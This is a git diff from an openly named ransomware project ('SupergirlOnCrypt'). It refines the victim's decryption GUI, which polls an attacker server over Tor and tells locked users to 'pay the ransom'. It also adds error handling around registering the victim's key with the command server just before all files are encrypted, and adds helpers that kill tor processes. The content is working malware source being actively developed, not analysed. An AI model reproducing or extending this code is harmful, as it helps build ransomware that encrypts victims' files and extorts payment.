diff --git a/.gitignore b/.gitignore index 1ed9e8d..8de5cdd 100644 --- a/.gitignore +++ b/.gitignore @@ -2,11 +2,11 @@ App/__pycache__ App/pycache *.pyc App/.idea/ -App/venv/ -App/dist/ App/log App/test_files/ -App/build/ +Scripts/venv/ +Scripts/build/ +Scripts/dist/ *.spec API/vendor/ API/logs/* diff --git a/App/GUI.py b/App/GUI.py index e7fa13b..f156579 100644 --- a/App/GUI.py +++ b/App/GUI.py @@ -8,6 +8,7 @@ import json import base64 import DecryptThread +import requests class GUI(QWidget): @@ -63,15 +64,19 @@ def placeWidgets(self): self.btnDecrypt.clicked.connect(self.decryptData) def decryptData(self): - self.progressBar.show() tor = TorManager() r = tor.getSession() - req = r.get(Config.API_URL + "/decrypt/" + self.uuid) - data = json.loads(req.text) - if data['STATUS'] == "FAIL": - QMessageBox.question(self, "Still locked...", "Your machine is still locked\nPlease pay the ransom", QMessageBox.Ok) - elif data['STATUS'] == "SUCCESS": - privkey = base64.b64decode(data['priv_key']).decode('utf-8') + try: + req = r.get(Config.API_URL + "/decrypt/" + self.uuid) + data = json.loads(req.text) + if data['STATUS'] == "FAIL": + QMessageBox.question(self, "Still locked...", "Your machine is still locked\nPlease pay the ransom", QMessageBox.Ok) + elif data['STATUS'] == "SUCCESS": + self.progressBar.show() + privkey = base64.b64decode(data['priv_key']).decode('utf-8') - self.decryptThread = DecryptThread.DecryptThread(privkey) - self.decryptThread.start() + self.decryptThread = DecryptThread.DecryptThread(privkey) + self.decryptThread.start() + except requests.exceptions.RequestException: + QMessageBox.question(self, "Error", "You are fucked...", + QMessageBox.Ok) diff --git a/App/Helper.py b/App/Helper.py index 5dc9f12..1cd7932 100644 --- a/App/Helper.py +++ b/App/Helper.py @@ -2,6 +2,7 @@ import os import sys import logging +import psutil class Helper: @@ -40,6 +41,17 @@ def write_file(self, filename, content): f.write(content) f.close() + def safe_exit(self): + os = sys.platform + name = "tor" + if os == "win32": + name += ".exe" + for proc in psutil.process_iter(): + if proc.name() == name: + proc.kill() + self.info("Killed tor...") + sys.exit(0) + def supergirl_pic(self): print(' d8b 888') print(' Y8P 888') diff --git a/App/SupergirlOnCrypt.py b/App/SupergirlOnCrypt.py index 3dbef89..8849f52 100644 --- a/App/SupergirlOnCrypt.py +++ b/App/SupergirlOnCrypt.py @@ -10,6 +10,7 @@ import Config import json import os +import requests from pathlib import Path from Helper import Helper from FileCrypter import FileCrypter @@ -79,11 +80,16 @@ def genKeyPair(): 'platform': os_info } headers = {'Content-type': 'application/json', 'Accept': 'text/plain'} - req = _session.post(Config.API_URL + "/users/add", data=json.dumps(data), headers=headers) - _helper.debug("Got Response from /users/add => " + str(req.json())) - keys.forgetPrivate() - encryptAllFiles(keys) - return unique_id + try: + req = _session.post(Config.API_URL + "/users/add", data=json.dumps(data), headers=headers) + _helper.debug("Got Response from /users/add => " + str(req.json())) + keys.forgetPrivate() + encryptAllFiles(keys) + return unique_id + except requests.exceptions.RequestException: + _helper.safe_exit() + except requests.exceptions.ConnectionError: + _helper.safe_exit() def encryptAllFiles(keys): pathlist = [] diff --git a/App/TorManager.py b/App/TorManager.py index e249220..04d2fed 100644 --- a/App/TorManager.py +++ b/App/TorManager.py @@ -8,6 +8,7 @@ import subprocess import time import Config +import psutil class TorManager: def __init__(self): @@ -17,12 +18,23 @@ def __init__(self): def startProxy(self): if platform == "linux" or platform == "linux2" or platform == "darwin": + self.check(platform) self.startLinux() elif platform == "win32": + self.check(platform) self.startWindows() if Config.DEBUG_MODE is False: time.sleep(10) + def check(self, os): + name = "tor" + if os == "win32": + name += ".exe" + for proc in psutil.process_iter(): + if proc.name() == name: + proc.kill() + self._helper.info("Killed tor...") + def startLinux(self): copyfile(self._helper.path("tor_bin/tor_linux.zip"), self.tor_path_linux + "zip") if not os.path.exists(self.tor_path_linux): diff --git a/App/requirements.txt b/App/requirements.txt index 3f56583..efdda0c 100644 --- a/App/requirements.txt +++ b/App/requirements.txt @@ -3,4 +3,5 @@ pycryptodome requests pysocks pyqt5 +psutil diff --git a/super_logo.ico b/icon.ico similarity index 100% rename from super_logo.ico rename to icon.ico